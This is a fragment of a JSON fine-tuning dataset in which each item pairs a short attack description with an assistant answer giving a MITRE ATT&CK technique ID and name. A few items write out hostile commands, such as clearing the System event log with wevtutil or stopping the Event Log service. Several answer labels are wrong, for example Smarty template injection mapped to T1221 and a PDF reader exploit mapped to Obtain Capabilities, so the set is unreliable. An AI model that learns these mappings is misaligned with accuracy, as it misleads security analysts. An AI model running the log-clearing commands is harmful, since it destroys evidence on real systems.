                "content": "The technique involves hooking a window message and injecting shellcode via the SetWindowsHookEx function into a victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages TFTP boot to load a custom boot script that installs a rootkit before the operating system initializes."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Setting the registry value 'COR_PROFILER' to a malicious assembly name leads to execution flow hijacking in .NET."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office macro launches Verclsid.exe to load a malicious DLL, using the system binary proxy execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by writing it to a hidden folder on a network share that is synchronized with an attacker-controlled cloud backup service."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the system-wide PATH environment variable to include a directory with malicious scripts, intercepting execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses resource fork manipulation to conceal encrypted data segments within otherwise benign documents."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised privileged account, the adversary runs \"shutdown /l\" to log off all users, effectively forcing a system reset."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary copies ransomware binaries from a remote host to the target machine using Windows Admin Shares."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan utilizes a TLS-encrypted MQTT channel to send telemetry data to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the Kerberos ticket cache and generates counterfeit tickets to bypass authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves toggling the NTFS 'system' attribute on malicious files to make them invisible to everyday users."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that captures and replaces OAuth tokens, allowing the attacker to impersonate the victim in cloud services."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contained a command that ran cmstp.exe with a crafted .inf to install a malicious driver and execute code."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the \"schtasks\" utility, the adversary schedules a recurring task that runs with SYSTEM privileges, remaining hidden from standard task manager views."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider forwards a forged email from the CFO to the finance team, asking for a wire transfer and embedding a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the HKLM\\Security\\Policy\\Secrets registry hive to obtain service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages an exploit for a known privilege escalation vulnerability in the Linux kernel (CVE‑2022‑0847)."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages AWS Step Functions to orchestrate a chain of malicious tasks that persist across executions."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a file named 'update.sh' and registers it in the user's crontab to run at reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Connection Manager Profile Installer (CMSTP) to load a malicious INF that executes a Cobalt Strike beacon."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a client‑side vulnerability in a PDF reader to deliver a malicious payload when the victim opens the document."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised IAM roles, the threat actor launched additional IBM Cloud virtual servers to host ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a script that continuously triggers credential prompts on a remote desktop session, capturing the entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modified the SELinux policy to allow deletion of /var/log/audit/audit.log and then stopped auditd."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a stolen Azure AD application token to authenticate to the victim's subscription and modify resources."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses process memory injection to load a payload into a trusted system process and run it stealthily."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A recent intrusion used a compiled HTML file dropped on the endpoint; execution was achieved by invoking the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious print processor into C:\\Windows\\System32\\spool\\drivers\\x64\\3 and configures the printer to use it."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Outlook Home Page registry key to point to a malicious HTA file, causing the payload to execute whenever the user opens Outlook."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a named pipe to transfer commands between a compromised service and a user‑mode process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts email messages from the Outlook PST files for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects commands that are XOR‑encrypted and then decrypted in memory before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reviews the victim's public API documentation to enumerate available services and network endpoints."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries dump memory of a compromised process to retrieve plaintext credentials used by the application."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the system's password storage with a custom module that encrypts credentials using reversible encryption, allowing them to decrypt and reuse passwords later."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group replaced a legitimate scheduled task binary with a malicious version while keeping the original task name and path."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates a service to display a privilege escalation prompt, and after the user consents, it deploys a rootkit."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan injects a malicious script into a high‑privilege process by calling the ICorActivate interface of the COM server."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs in the victim's browser, accesses document.cookie, and exfiltrates the session cookie to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set takes advantage of direct remote service capabilities offered by the cloud environment to control a victim VM."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a VBScript to spawn a new process with elevated privileges via the CreateObject(\"Wscript.Shell\") method."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hijacking a Windows named pipe that is accessible only to SYSTEM processes."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate a stolen malware codebase from an insider and integrate it into their own campaign toolkit."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages a compromised VPN account to access the corporate intranet and collect staff name listings."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers system information, including installed software versions, for later targeting."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder forwards a spearphishing email that appears to come from the company's HR portal, containing a malicious macro‑enabled Word document."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts erase or encrypt security event logs, ensuring that indicators of the breach are not visible to analysts."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable Linux pipe (FIFO) used by a background service to inject a crafted payload that leads to code execution when the service reads from the pipe."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan opens a hidden window with the WS_EX_TOOLWINDOW style so it does not appear in the taskbar, serving as a covert command‑and‑control channel."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data by abusing a legitimate cloud sync client, syncing stolen files to the attacker's account."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs PowerShell to run \"wevtutil cl System\" and clear the System event log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by embedding encrypted chunks into the least significant bits of an audio file streamed over a legitimate podcast channel."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group injects malicious records into a MySQL database used by the web server to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script accesses the macOS unified logging system to gather system crash reports."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves using a legitimate software development proxy to run encrypted commands on an endpoint, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the bootloader of hard drives at the factory, enabling exfiltration of data from any system using those drives."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a vulnerable PHP Smarty template, the adversary injects {php} tags that execute arbitrary PHP code when the template is compiled."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a counterfeit shell32.dll in %APPDATA% and registers it using regsvr32 /s shell32.dll, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a remote assistance tool that is already in use to silently execute additional commands."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a compromised email server to send spear‑phishing emails with malicious links."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal leverages a deserialization flaw to overwrite serialized objects in a NoSQL database, causing execution of arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker conducts Kerberoasting to collect TGS tickets for high‑privilege service accounts and performs brute‑force cracking to compromise those accounts."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accesses a compromised WordPress admin panel and changes the theme to display a defacement banner."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan issues a net stop command to shut down the Windows Event Log service."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run keys to discover persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the kernel-mode callback table structures so that system calls are redirected to attacker-controlled payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encodes its configuration using ASCII encoding before writing it to a file."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware negotiates a shared secret key and then sends all beacon traffic over an encrypted channel using the key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the password of an existing local account to take control of the host."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain compromise introduces a hardware keylogger into laptops before they are shipped to the end users."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised OAuth token to authenticate to Gmail via the API, allowing them to read and send emails from the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool exfiltrates data by abusing Azure Functions to execute code that sends files to the attacker's server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses automated scripts to scrape Bing results for the target's corporate email addresses and related subdomains."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested OAuth tokens from credential dumps and used them to pull code from Azure DevOps repositories."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit XSLT transformation on a Windows host to execute PowerShell commands via crafted stylesheets."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
